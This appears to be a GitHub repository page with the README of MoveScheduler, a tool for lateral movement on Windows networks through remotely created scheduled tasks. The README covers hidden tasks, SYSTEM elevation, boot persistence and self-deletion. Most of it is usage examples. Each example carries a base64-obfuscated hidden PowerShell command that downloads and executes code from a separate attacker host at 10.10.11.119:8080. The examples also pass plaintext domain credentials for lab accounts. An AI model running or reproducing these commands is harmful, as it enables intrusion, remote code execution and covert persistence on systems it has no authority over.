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https://github.com/mez-0/MoveScheduler

.NET 4.0 Scheduled Job Lateral Movement
https://github.com/mez-0/MoveScheduler

lateral-movement powershell ps-scheduletask task-scheduler taskscheduler-library wmi

Last synced: 21 days ago
JSON representation

.NET 4.0 Scheduled Job Lateral Movement

Host: GitHub
URL: https://github.com/mez-0/MoveScheduler
Owner: mez-0
License: mit
Created: 2020-08-25T21:56:02.000Z (over 4 years ago)
Default Branch: master
Last Pushed: 2020-08-25T21:58:49.000Z (over 4 years ago)
Last Synced: 2024-08-05T17:24:14.649Z (4 months ago)
Topics: lateral-movement, powershell, ps-scheduletask, task-scheduler, taskscheduler-library, wmi
Language: C#
Homepage:
Size: 16.6 KB
Stars: 85
Watchers: 3
Forks: 13
Open Issues: 0
Metadata Files:
- Readme: README.md
- License: LICENSE

Awesome Lists containing this project

awesome-hacking-lists - mez-0/MoveScheduler - .NET 4.0 Scheduled Job Lateral Movement (C# #)

README

# MoveScheduler

`MoveScheduler` is another weekend binge that focuses on lateral movement via several different methods of scheduling tasks:

1. [Win32_ScheduledJob (C#)](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob)
2. [Win32_Scheduledjob (PowerShell)](./PowerShell/Win32_ScheduledJob.ps1)
3. [TaskScheduler Library](https://github.com/dahall/TaskScheduler)
4. [PS_ScheduleTask](./PowerShell/PS_ScheduleTask.ps1)

These ~4 techniques have some pros and cons. Most notably, the TaskScheduler Library has the most pros. It allows for elevation to `NT AUTHORITY\SYSTEM`, on event triggers, on boot persistence, being able to trigger the job as a different user and so on. Here is a short intro to the library:

> The Task Scheduler Managed Class Library provides a single assembly wrapper for the 1.0 and 2.0 versions of Task Scheduler found in all Microsoft operating systems post Windows 98. It simplifies the coding, aggregates the multiple versions, provides an editor and allows for localization support.

The [documentation](https://dahall.github.io/TaskScheduler/html/R_Project_TaskScheduler.htm) discusses this at length. The next competitor is the `Win32_ScheduleJob` class. This has two hard blockers.

1. Has a character limit of approx. 260 characters for the command
2. Relies on the `AT Protocol`.

As this is an older technique, it requires a registry key to enable the `AT Protocol`. This can be done with:

```powershell
Get-ItemProperty Registry::\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\"
```

With that, ensure that `EnableAt` is set to `1`. Again, this is not preferable.

`PS_ScheduleTask` is a PowerShell implementation:

```powershell
$ShedService = new-object -comobject "Schedule.Service"
```

To accompany this, there is also a PowerShell implementation of the `Win32_ScheduledJob` class. Both available here:

1. [PS_ScheduleTask](./PowerShell/PS_ScheduleTask.ps1)
2. [Win32_Scheduledjob (PowerShell)](./PowerShell/Win32_ScheduledJob.ps1)

On the back of all that, `MoveScheduler` implements two of this methods; the TaskScheduler Library and the `Win32_ScheduledJob` class.

The `help`:

```
MoveScheduler 1.0.0.0
Copyright © 2020

-m, --method Required. MoveScheduler method to execute with (Win32_ScheduledJob or SchedulerAPI)

-t, --target Required. Target to create job on

-d, --domain Domain name to use for authentication (defaults to current user)

-u, --username Username to use for authentication (defaults to current user)

-p, --password Password to use for authentication (defaults to current user)

-c, --command Command to embed into job

--taskname Name to give task (Defaults to random string) (SchedulerAPI Only)

--taskdescription Description to give task (Defaults to random string) (SchedulerAPI Only)

--deleteafter Delete job after X seconds when executed (default 10 seconds) (SchedulerAPI Only)

--time Time until execution takes place (1 minute default)

--onstartup Set an additional trigger for system startup (SchedulerAPI Only)

--wakeup Wake computer up when job is due (SchedulerAPI Only)

--system Elevate to SYSTEM (SchedulerAPI Only)

--diffdomain Domain for different user to run job (SchedulerAPI Only)

--diffuser User for different user to run job (SchedulerAPI Only)

--diffpassword Password for different user to run job (SchedulerAPI Only)

--list List scheduled tasks (SchedulerAPI Only)

--delete Delete scheduled task (SchedulerAPI Only)

--help Display this help screen.

--version Display version information.
```

The main flag here being `-m` and the corresponding method. Alot of the functionality above is only accessible via the Task Scheduler Library.

The `Win32_ScheduledJob` implementation is limited:

```csharp
object[] cmdParams = { Command, StartTime, false, null, null, true, 100 };
```

The syntax:

```cpp
uint32 Create(
[in] string Command,
[in] datetime StartTime,
[in, optional] boolean RunRepeatedly,
[in, optional] uint32 DaysOfWeek,
[in, optional] uint32 DaysOfMonth,
[in, optional] boolean InteractWithDesktop,
[out] uint32 JobId
);
```

And thats it for the WMI class, moving onto TaskScheduler.

When defining a task, it has several settings that are noteworthy:

```csharp
TaskDefinition taskDefinition = taskService.NewTask();

taskDefinition.RegistrationInfo.Description = TaskDescription;
taskDefinition.RegistrationInfo.Author = UserName;
taskDefinition.Settings.Hidden = true;
taskDefinition.Settings.StartWhenAvailable = true;
taskDefinition.Settings.Enabled = true;
taskDefinition.Settings.DeleteExpiredTaskAfter = TimeSpan.FromSeconds(DeleteAfter);
```

The final setting here ensures that the job is deleted after execution, tidying it up. The only downside I found with this was the the job is always added to the root. However, their is functionality to create a new folder, so its likely that the job can be moved and I'm just blind.

A pro tip I found whilst testing this, ensure that the potential time different is accounted for and use the `--time` flag.

Other than that, the `help` is self-explanatory, but here is some examples:

## TaskScheduler

Note the `-m` flag as `SchedulerAPI`.

**Current Context:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.100 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA='
```

**Authenticate as:**

**Job to run as a different user:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA=' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --diffdomain avatar.local --diffuser aang --diffpassword 'U5Tp3*neMk'
```

**Execute as SYSTEM:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB2AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB2AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ASgA3AFUAeQBQAEEATQBmAFcALwByAHoAQQBpADMAMABKADQAdABvACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgAxADEAOQA6ADgAMAA4ADAALwBKADcAVQB5AFAAQQBNAGYAVwAnACkAKQA7AA==' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --system
```

**List jobs:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --list
```

**Delete job:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --list jobname
```

**On boot persistence:**

```powershell
.\MoveScheduler.exe -m SchedulerAPI -t 10.10.11.113 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB2AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB2AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ASgA3AFUAeQBQAEEATQBmAFcALwByAHoAQQBpADMAMABKADQAdABvACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgAxADEAOQA6ADgAMAA4ADAALwBKADcAVQB5AFAAQQBNAGYAVwAnACkAKQA7AA==' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M' --onstartup
```

## Win32_ScheduledJob

Note the `Win32_ScheduledJob` `-m` flag. If a return value of `8` is set, thats likely due to AT not being enabled.

```powershell
.\MoveScheduler.exe -m Win32_ScheduledJob -t 10.10.11.100 -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8AYQAvAGQAawB1AHMAVAAzADgAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMQAuADEAMQA5ADoAOAAwADgAMAAvAGEAJwApACkAOwA=' -d avatar.local -u 'iroh' -p '3JyE63D%xu!4mBwnTHtvY8bhU2Z2r^M'
```